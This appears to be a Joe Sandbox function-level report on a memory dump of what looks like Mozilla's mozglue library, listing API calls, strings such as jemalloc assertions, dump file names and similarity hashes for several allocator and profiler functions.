Function 6CCFFD00 Relevance: 31.4, APIs: 17, Strings: 3, Instructions: 1360memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6CD6E7B8), ref: 6CCFFF81
LeaveCriticalSection.KERNEL32(6CD6E7B8), ref: 6CD0022D
VirtualAlloc.KERNEL32(?,00100000,00001000,00000004), ref: 6CD00240
EnterCriticalSection.KERNEL32(6CD6E768), ref: 6CD0025B
LeaveCriticalSection.KERNEL32(6CD6E768), ref: 6CD0027B

Strings

: (malloc) Error in VirtualFree(), xrefs: 6CD00D67, 6CD00D7B, 6CD00DAC
MOZ_RELEASE_ASSERT(mNode), xrefs: 6CCFFE99, 6CCFFEB7, 6CCFFED3, 6CD00DB8, 6CD00DD3, 6CD019B4
<jemalloc>, xrefs: 6CD00D62, 6CD00D76, 6CD00DA7

Memory Dump Source

Source File: 00000000.00000002.2095470819.000000006CCE1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CCE0000, based on PE: true

Associated: 00000000.00000002.2095451626.000000006CCE0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2095531707.000000006CD5D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2095558358.000000006CD6E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2095769367.000000006CD72000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cce0000_w3WOJ1ohgD.jbxd

Similarity

API ID: CriticalSection$EnterLeave$AllocVirtual
String ID: : (malloc) Error in VirtualFree()$<jemalloc>$MOZ_RELEASE_ASSERT(mNode)
API String ID: 618468079-3577267516
Opcode ID: 893dac0bbca2461455f93211e773792b543584605896d23924eac92e586f0006
Instruction ID: 671db4d2ec880cfa156422ee8fe5dd1bebdef433b15026e5ad103dfa01dbc398
Opcode Fuzzy Hash: 893dac0bbca2461455f93211e773792b543584605896d23924eac92e586f0006
Instruction Fuzzy Hash: BCC29A71B057419FD714CF2DC980716BBE1AF86328F28C66DE4A98BBA5D771E801CB81

Uniqueness

Uniqueness Score: -1.00%

Function 6CD4E680 Relevance: 31.1, APIs: 22, Instructions: 3648COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00004014), ref: 6CD4E811
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6CD4EAA8
memset.VCRUNTIME140(?,000000FF,80808081), ref: 6CD4EBD5
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6CD4EEF6
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6CD4F223
memset.VCRUNTIME140(?,000000FF,80808082,?), ref: 6CD4F322
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6CD50E03
memcpy.VCRUNTIME140(?,?,?,?), ref: 6CD50E54
memcpy.VCRUNTIME140(?,?,?), ref: 6CD50EAE
memcpy.VCRUNTIME140(?,?,?), ref: 6CD50ED4

Memory Dump Source

Source File: 00000000.00000002.2095470819.000000006CCE1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CCE0000, based on PE: true

Associated: 00000000.00000002.2095451626.000000006CCE0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2095531707.000000006CD5D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2095558358.000000006CD6E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2095769367.000000006CD72000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cce0000_w3WOJ1ohgD.jbxd

Similarity

API ID: memset$memcpy
String ID:
API String ID: 368790112-0
Opcode ID: 98803544b969e5ac06309a55958c94bf8b6d27f669391148cfc4f054d5798eab
Instruction ID: 64e7e2db96c9a9a6a60d9c0e42e3ddb72154747c93451ffba33895b202e1f0e8
Opcode Fuzzy Hash: 98803544b969e5ac06309a55958c94bf8b6d27f669391148cfc4f054d5798eab
Instruction Fuzzy Hash: A3639E71E0025ACFCF04CFA8C88069DFBB2FF89314F698269D955AB765D730A945CB90

Uniqueness

Uniqueness Score: -1.00%

Function 6CD23E50 Relevance: 27.0, APIs: 13, Strings: 2, Instructions: 765COMMON

Download Yara Rule

APIs

Part of subcall function 6CD47770: wcslen.API-MS-WIN-CRT-STRING-L1-1-0(6CD23E7D,?,?,?,6CD23E7D,?,?), ref: 6CD4777C

tolower.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000000), ref: 6CD23F17
memset.VCRUNTIME140(?,00000000,00000110), ref: 6CD23F5C
VerSetConditionMask.NTDLL ref: 6CD23F8D
VerSetConditionMask.NTDLL ref: 6CD23F99
VerSetConditionMask.NTDLL ref: 6CD23FA0
VerSetConditionMask.NTDLL ref: 6CD23FA7
VerifyVersionInfoW.KERNEL32(?,00000033,00000000), ref: 6CD23FB4

Strings

nvinit.dll, xrefs: 6CD24479
nvd3d9wrap.dll, xrefs: 6CD24466

Memory Dump Source

Source File: 00000000.00000002.2095470819.000000006CCE1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CCE0000, based on PE: true

Associated: 00000000.00000002.2095451626.000000006CCE0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2095531707.000000006CD5D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2095558358.000000006CD6E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2095769367.000000006CD72000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cce0000_w3WOJ1ohgD.jbxd

Similarity

API ID: ConditionMask$InfoVerifyVersionmemsettolowerwcslen
String ID: nvd3d9wrap.dll$nvinit.dll
API String ID: 1189858803-2380496106
Opcode ID: d41a9440ba58b3baba382fd4631983553f0ae332a143b441780197162399638b
Instruction ID: b4fed86346114a58f56be37d69f64b7f2d4fb0d787a2aa41fa0f8f7d036da1d7
Opcode Fuzzy Hash: d41a9440ba58b3baba382fd4631983553f0ae332a143b441780197162399638b
Instruction Fuzzy Hash: 2E522471610B458FE714DF34C990AABB7E9AF85208F44482DE5A2CB752DB74F90ACB70

Uniqueness

Uniqueness Score: -1.00%

Function 6CD0ED10 Relevance: 25.4, APIs: 16, Instructions: 5407COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00010030), ref: 6CD0EE7A
memset.VCRUNTIME140(?,000000FF,80808082,?), ref: 6CD0EFB5
memcpy.VCRUNTIME140(?,?,?,?), ref: 6CD11695
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CD116B4
memset.VCRUNTIME140(00000002,000000FF,?,?), ref: 6CD11770
memset.VCRUNTIME140(?,000000FF,?,?), ref: 6CD11A3E

Memory Dump Source

Source File: 00000000.00000002.2095470819.000000006CCE1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CCE0000, based on PE: true

Associated: 00000000.00000002.2095451626.000000006CCE0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2095531707.000000006CD5D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2095558358.000000006CD6E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2095769367.000000006CD72000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cce0000_w3WOJ1ohgD.jbxd

Similarity

API ID: memset$freemallocmemcpy
String ID:
API String ID: 3693777188-0
Opcode ID: de54da0da06c55aecd098d743558687d96a5c4b8c833af0d6dd840c667d6f3da
Instruction ID: 392efa629b2f63bee3a180006a60613e88a19b3eca1abadb17e8cc4084fb39c9
Opcode Fuzzy Hash: de54da0da06c55aecd098d743558687d96a5c4b8c833af0d6dd840c667d6f3da
Instruction Fuzzy Hash: 18B32971E04219CFCB14CFA8D890A9DB7B2FF49304F2582A9D459ABB55D730AD86CF90

Uniqueness

Uniqueness Score: -1.00%

Function 6CCFFEF0 Relevance: 23.8, APIs: 13, Strings: 2, Instructions: 1294memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6CD6E7B8), ref: 6CCFFF81
LeaveCriticalSection.KERNEL32(6CD6E7B8), ref: 6CD0022D
VirtualAlloc.KERNEL32(?,00100000,00001000,00000004), ref: 6CD00240
EnterCriticalSection.KERNEL32(6CD6E768), ref: 6CD0025B
LeaveCriticalSection.KERNEL32(6CD6E768), ref: 6CD0027B

Strings

MOZ_RELEASE_ASSERT(mNode), xrefs: 6CCFFE99, 6CCFFEB7, 6CCFFED3, 6CD00DB8, 6CD00DD3, 6CD019B4, 6CD01A10
MOZ_CRASH(), xrefs: 6CD00CA7

Memory Dump Source

Source File: 00000000.00000002.2095470819.000000006CCE1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CCE0000, based on PE: true

Associated: 00000000.00000002.2095451626.000000006CCE0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2095531707.000000006CD5D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2095558358.000000006CD6E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2095769367.000000006CD72000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cce0000_w3WOJ1ohgD.jbxd

Similarity

API ID: CriticalSection$EnterLeave$AllocVirtual
String ID: MOZ_CRASH()$MOZ_RELEASE_ASSERT(mNode)
API String ID: 618468079-3566792288
Opcode ID: bc468d93dbfbb5e92e915fe4f19526d11d1ab8a5d559c408cd08cd1fa7b39f00
Instruction ID: 0fae65e2e6d33cb20512b6d6fe1725a6e3ca82380a193035946bec20835ff47a
Opcode Fuzzy Hash: bc468d93dbfbb5e92e915fe4f19526d11d1ab8a5d559c408cd08cd1fa7b39f00
Instruction Fuzzy Hash: F4B27871B05741CBD714CF2DC590716BBE1AF85328F28C66CE9AA8BBA5D770E840CB91

Uniqueness

Uniqueness Score: -1.00%

Function 6CD35600 Relevance: 22.0, APIs: 6, Strings: 6, Instructions: 950COMMON

Download Yara Rule

Strings

data, xrefs: 6CD36131
expected a Time entry, xrefs: 6CD35CB6
expected a Count entry, xrefs: 6CD35AC3
ProfileBuffer parse error: %s, xrefs: 6CD35AC8, 6CD35CBB
schema, xrefs: 6CD3606D
name, xrefs: 6CD35E79, 6CD35E8F

Memory Dump Source

Source File: 00000000.00000002.2095470819.000000006CCE1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CCE0000, based on PE: true

Associated: 00000000.00000002.2095451626.000000006CCE0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2095531707.000000006CD5D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2095558358.000000006CD6E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2095769367.000000006CD72000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cce0000_w3WOJ1ohgD.jbxd

Similarity

API ID:
String ID: ProfileBuffer parse error: %s$data$expected a Count entry$expected a Time entry$name$schema
API String ID: 0-2712937348
Opcode ID: f6414805055a45d49c6acff432bb2f1902422f2c6dfd18126d87a931ffb27b32
Instruction ID: 5dc7543e16c42b8480c3aa132a5c0f7c45a0984d0037b9d76ae3698699c51085
Opcode Fuzzy Hash: f6414805055a45d49c6acff432bb2f1902422f2c6dfd18126d87a931ffb27b32
Instruction Fuzzy Hash: 35923BB1A08351CFD724CF14C49075ABBE1BFCA308F54891DE59A9B761EB30E949CB92

Uniqueness

Uniqueness Score: -1.00%

Function 6CD32E4E Relevance: 19.8, APIs: 8, Strings: 3, Instructions: 579stringCOMMON

Download Yara Rule

APIs

MozDescribeCodeAddress.MOZGLUE(?,?), ref: 6CD32ED3
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CD32EE7
MozFormatCodeAddressDetails.MOZGLUE(?,000000FF,00000000,?,?), ref: 6CD32F0D
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CD33214
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CD33242
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CD336BF

Strings

get , xrefs: 6CD33205
set , xrefs: 6CD336EC
MOZ_PROFILER_SYMBOLICATE, xrefs: 6CD3378D

Memory Dump Source

Source File: 00000000.00000002.2095470819.000000006CCE1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CCE0000, based on PE: true

Associated: 00000000.00000002.2095451626.000000006CCE0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2095531707.000000006CD5D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2095558358.000000006CD6E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2095769367.000000006CD72000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cce0000_w3WOJ1ohgD.jbxd

Similarity

API ID: strlen$AddressCode$DescribeDetailsFormat
String ID: MOZ_PROFILER_SYMBOLICATE$get $set
API String ID: 2257098003-3318126862
Opcode ID: 68685012524a5e94b5aabcba2c97906623117681b300e38b465a8ee45d235ced
Instruction ID: 8573897f15c284754119d9bcc95c5eeeb7dbe7bbdc03be9cf35f81766e074017
Opcode Fuzzy Hash: 68685012524a5e94b5aabcba2c97906623117681b300e38b465a8ee45d235ced
Instruction Fuzzy Hash: 95327DB06083818FD324CF24C5906AEBBE2AFCA318F54991DE5D987761DB34D94ACB52

Uniqueness

Uniqueness Score: -1.00%

Function 6CD27E10 Relevance: 17.9, APIs: 6, Strings: 4, Instructions: 403COMMON

Download Yara Rule

Strings

data, xrefs: 6CD28280, 6CD283E1
schema, xrefs: 6CD281E3, 6CD28311
name, xrefs: 6CD27ECF, 6CD28335
(pre-xul), xrefs: 6CD27E88

Memory Dump Source

Source File: 00000000.00000002.2095470819.000000006CCE1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CCE0000, based on PE: true

Associated: 00000000.00000002.2095451626.000000006CCE0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2095531707.000000006CD5D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2095558358.000000006CD6E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2095769367.000000006CD72000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cce0000_w3WOJ1ohgD.jbxd

Similarity

API ID: memcpystrlen
String ID: (pre-xul)$data$name$schema
API String ID: 3412268980-999448898
Opcode ID: 90f867e8e60b38a07283df747f22f97cbe49c24bf4f6d2847b6e37c5bfb6d6ae
Instruction ID: 69d157fd2bee87a70757b88c94feaf9e8befcd05bc2f7810ee61b8abad4892ef
Opcode Fuzzy Hash: 90f867e8e60b38a07283df747f22f97cbe49c24bf4f6d2847b6e37c5bfb6d6ae
Instruction Fuzzy Hash: F4E17FB1A043408FCB10CF69C84065BFBE9BF85318F55892DE895D77A0EBB4DD498B92

Uniqueness

Uniqueness Score: -1.00%

Function 6CD0D4D0 Relevance: 17.8, APIs: 8, Strings: 2, Instructions: 251COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6CD6E784,?,?,?,?,?,?,?,00000000,74DF2FE0,00000001,?,6CD1D1C5), ref: 6CD0D4F2
LeaveCriticalSection.KERNEL32(6CD6E784,?,?,?,?,?,?,?,00000000,74DF2FE0,00000001,?,6CD1D1C5), ref: 6CD0D50B

Part of subcall function 6CCECFE0: EnterCriticalSection.KERNEL32(6CD6E784), ref: 6CCECFF6
Part of subcall function 6CCECFE0: LeaveCriticalSection.KERNEL32(6CD6E784), ref: 6CCED026

InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,00001388,?,?,?,?,?,?,?,00000000,74DF2FE0,00000001,?,6CD1D1C5), ref: 6CD0D52E
EnterCriticalSection.KERNEL32(6CD6E7DC), ref: 6CD0D690
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6CD0D6A6
LeaveCriticalSection.KERNEL32(6CD6E7DC), ref: 6CD0D712
LeaveCriticalSection.KERNEL32(6CD6E784,?,?,?,?,?,?,?,00000000,74DF2FE0,00000001,?,6CD1D1C5), ref: 6CD0D751
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6CD0D7EA

Strings

: (malloc) Error initializing arena, xrefs: 6CD0D82C
<jemalloc>, xrefs: 6CD0D827

Memory Dump Source

Source File: 00000000.00000002.2095470819.000000006CCE1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CCE0000, based on PE: true

Associated: 00000000.00000002.2095451626.000000006CCE0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2095531707.000000006CD5D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2095558358.000000006CD6E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2095769367.000000006CD72000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cce0000_w3WOJ1ohgD.jbxd

Similarity

API ID: CriticalSection$Leave$Enter$K@1@Maybe@_RandomUint64@mozilla@@$CountInitializeSpin
String ID: : (malloc) Error initializing arena$<jemalloc>
API String ID: 2690322072-3894294050
Opcode ID: 9546db24cda8515f9fd8e14c5ca20d6629bee34ce3cee90cc55807c3c2efc912
Instruction ID: 49fef586e11ab6b3c3cd3f96c7ed3f4fa2e2626d5c38f4de518955e268d84796
Opcode Fuzzy Hash: 9546db24cda8515f9fd8e14c5ca20d6629bee34ce3cee90cc55807c3c2efc912
Instruction Fuzzy Hash: C491AD71B047058FE714DF2DC59072AB7E5EB8A314F14892EE59A87FA1E730E844CB92

Uniqueness

Uniqueness Score: -1.00%

Function 6CD05E90 Relevance: 17.7, APIs: 5, Strings: 5, Instructions: 2651COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(-0000000C), ref: 6CD05EDB
memset.VCRUNTIME140(6CD47765,000000E5,55CCCCCC), ref: 6CD05F27
LeaveCriticalSection.KERNEL32(?), ref: 6CD05FB2
memset.VCRUNTIME140(6CD47765,000000E5,D6C09015), ref: 6CD061F0
VirtualFree.KERNEL32(-00000001,00100000,00004000), ref: 6CD07652

Strings

MOZ_RELEASE_ASSERT(mNode), xrefs: 6CD07BCD, 6CD07C1F, 6CD07C34, 6CD080FD
MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?), xrefs: 6CD0730D
MOZ_CRASH(), xrefs: 6CD07BA4
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.), xrefs: 6CD072E3
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?), xrefs: 6CD072F8

Memory Dump Source

Source File: 00000000.00000002.2095470819.000000006CCE1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CCE0000, based on PE: true

Associated: 00000000.00000002.2095451626.000000006CCE0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2095531707.000000006CD5D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2095558358.000000006CD6E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2095769367.000000006CD72000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cce0000_w3WOJ1ohgD.jbxd

Similarity

API ID: CriticalSectionmemset$EnterFreeLeaveVirtual
String ID: MOZ_CRASH()$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.)$MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?)$MOZ_RELEASE_ASSERT(mNode)
API String ID: 2613674957-1127040744
Opcode ID: 8205a40bb5925613603d59969d002c9694a7bb12cbb137aefbc6865bea6c2d0a
Instruction ID: 4fc0be7110f4333c5dbae2aea9419d06f0ef63351cb4e86b95bc077e66b7bcb8
Opcode Fuzzy Hash: 8205a40bb5925613603d59969d002c9694a7bb12cbb137aefbc6865bea6c2d0a
Instruction Fuzzy Hash: 6A335971705601CFD304CF2DC590619BBE2BF85328B2AC6ADE9698F7A5D771E882CB41

Uniqueness

Uniqueness Score: -1.00%

Function 6CD44EA0 Relevance: 16.2, APIs: 8, Strings: 1, Instructions: 408sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(000007D0), ref: 6CD44EFF
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CD44F2E
moz_xmalloc.MOZGLUE ref: 6CD44F52
memset.VCRUNTIME140(00000000,00000000), ref: 6CD44F62
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CD452B2
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CD452E6
Sleep.KERNEL32(00000010), ref: 6CD45481
free.MOZGLUE(?), ref: 6CD45498

Strings

(, xrefs: 6CD45250

Memory Dump Source

Source File: 00000000.00000002.2095470819.000000006CCE1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CCE0000, based on PE: true

Associated: 00000000.00000002.2095451626.000000006CCE0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2095531707.000000006CD5D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2095558358.000000006CD6E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2095769367.000000006CD72000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cce0000_w3WOJ1ohgD.jbxd

Similarity

API ID: floor$Sleep$freememsetmoz_xmalloc
String ID: (
API String ID: 4104871533-3887548279
Opcode ID: 58e65dcc5973b3d442484956f4b99d98b1924172f5ea6c8211dcb807a346950f
Instruction ID: 655a31ea245d1985e05e74b203c8a736a34be5446bade17094b71e55272febbe
Opcode Fuzzy Hash: 58e65dcc5973b3d442484956f4b99d98b1924172f5ea6c8211dcb807a346950f
Instruction Fuzzy Hash: 5AF1D171A18B008FD716CF39C85062BB7FAAFD6384F05872EF946A7650EB319841CB91

Uniqueness

Uniqueness Score: -1.00%

Function 6CD09E50 Relevance: 13.1, APIs: 6, Strings: 1, Instructions: 878COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6CD09EB8
LeaveCriticalSection.KERNEL32(?), ref: 6CD09F24
memset.VCRUNTIME140(00000000,00000000,?), ref: 6CD09F34
LeaveCriticalSection.KERNEL32(?), ref: 6CD0A823
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6CD0A83C
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6CD0A849

Strings

MOZ_RELEASE_ASSERT(mNode), xrefs: 6CD0A8B1, 6CD0A8D4, 6CD0A8EF

Memory Dump Source

Source File: 00000000.00000002.2095470819.000000006CCE1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CCE0000, based on PE: true

Associated: 00000000.00000002.2095451626.000000006CCE0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2095531707.000000006CD5D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2095558358.000000006CD6E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2095769367.000000006CD72000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cce0000_w3WOJ1ohgD.jbxd

Similarity

API ID: CriticalSection$K@1@LeaveMaybe@_RandomUint64@mozilla@@$Entermemset
String ID: MOZ_RELEASE_ASSERT(mNode)
API String ID: 2950001534-1351931279
Opcode ID: 33075a449946dc5e2e96412480c6468391e08e34b433f08933b3ee8fab4bbda3
Instruction ID: c98f8711dd31509316e30519673492c1deaec00278e74734a3abf4807b2ce429
Opcode Fuzzy Hash: 33075a449946dc5e2e96412480c6468391e08e34b433f08933b3ee8fab4bbda3
Instruction Fuzzy Hash: D67249B2A15611CFD304CF2DC540615FBE1BF89328F2AC66DE8A99B7A1D375E841CB81

Uniqueness

Uniqueness Score: -1.00%

Function 6CD32C10 Relevance: 12.5, APIs: 4, Strings: 3, Instructions: 228stringCOMMON

Download Yara Rule

APIs

?EcmaScriptConverter@DoubleToStringConverter@double_conversion@@SAABV12@XZ.MOZGLUE ref: 6CD32C31
?ToShortestIeeeNumber@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@W4DtoaMode@12@@Z.MOZGLUE ref: 6CD32C61

Part of subcall function 6CCE4DE0: ?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6CCE4E5A
Part of subcall function 6CCE4DE0: ?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6CCE4E97

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6CD32C82
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6CD32E2D

Part of subcall function 6CCF81B0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,00000000,?,ProfileBuffer parse error: %s,expected a ProfilerOverheadDuration entry after ProfilerOverheadTime), ref: 6CCF81DE

Strings

expected a Time entry, xrefs: 6CD32E36
(root), xrefs: 6CD3354F
ProfileBuffer parse error: %s, xrefs: 6CD32E3B

Memory Dump Source

Source File: 00000000.00000002.2095470819.000000006CCE1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CCE0000, based on PE: true

Associated: 00000000.00000002.2095451626.000000006CCE0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2095531707.000000006CD5D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2095558358.000000006CD6E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2095769367.000000006CD72000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cce0000_w3WOJ1ohgD.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Dtoa$Ascii@Builder@2@Builder@2@@Converter@CreateDecimalEcmaIeeeMode@12@Mode@12@@Number@Representation@ScriptShortestV12@__acrt_iob_func__stdio_common_vfprintfstrlen
String ID: (root)$ProfileBuffer parse error: %s$expected a Time entry
API String ID: 801438305-4149320968
Opcode ID: c4e1d7820b4994e1a538b5dad67e518464e29f66b2c569f5eb27221acf0cb2f9
Instruction ID: 9ed1fa5af965f696985088cb514503f9f53f26db1ca484c48e398867c515f8be
Opcode Fuzzy Hash: c4e1d7820b4994e1a538b5dad67e518464e29f66b2c569f5eb27221acf0cb2f9
Instruction Fuzzy Hash: A791E3B0A087408FD714DF28D48469FF7E0AFCA358F10591DE59A87761EB30D549CBA2

Uniqueness

Uniqueness Score: -1.00%

Function 6CCED4E0 Relevance: 10.8, Strings: 8, Instructions: 805COMMON

Download Yara Rule

Strings

, xrefs: 6CCEDA88
8, xrefs: 6CCEDC08
9, xrefs: 6CCEDE7F
0, xrefs: 6CCED852
@, xrefs: 6CCEDAF6
1, xrefs: 6CCEDBDD
0, xrefs: 6CCEDC7F
-, xrefs: 6CCED7DD

Memory Dump Source

Source File: 00000000.00000002.2095470819.000000006CCE1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CCE0000, based on PE: true

Associated: 00000000.00000002.2095451626.000000006CCE0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2095531707.000000006CD5D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2095558358.000000006CD6E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2095769367.000000006CD72000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cce0000_w3WOJ1ohgD.jbxd

Similarity

API ID:
String ID: $-$0$0$1$8$9$@
API String ID: 0-3654031807
Opcode ID: d080391af7fcdec84f349e0bb187b7e654508ea53bcd84da4785e8c6fe41b8fd
Instruction ID: 69783a2091654876f6e5e820ed753064b2cc316b1c080f0f4e1bab1adf199a77
Opcode Fuzzy Hash: d080391af7fcdec84f349e0bb187b7e654508ea53bcd84da4785e8c6fe41b8fd
Instruction Fuzzy Hash: C762CB7160D3818FD711CF29C49036ABBE2AFCB358F184A4DE4E54BA91E3359985CB82

Uniqueness

Uniqueness Score: -1.00%

Function 6CCEBEF0 Relevance: 8.2, APIs: 5, Instructions: 652COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6CCEC1CB
__aulldiv.LIBCMT ref: 6CCEC24C
__aulldiv.LIBCMT ref: 6CCEC348
__aullrem.LIBCMT ref: 6CCEC365
__aulldiv.LIBCMT ref: 6CCEC37D

Memory Dump Source

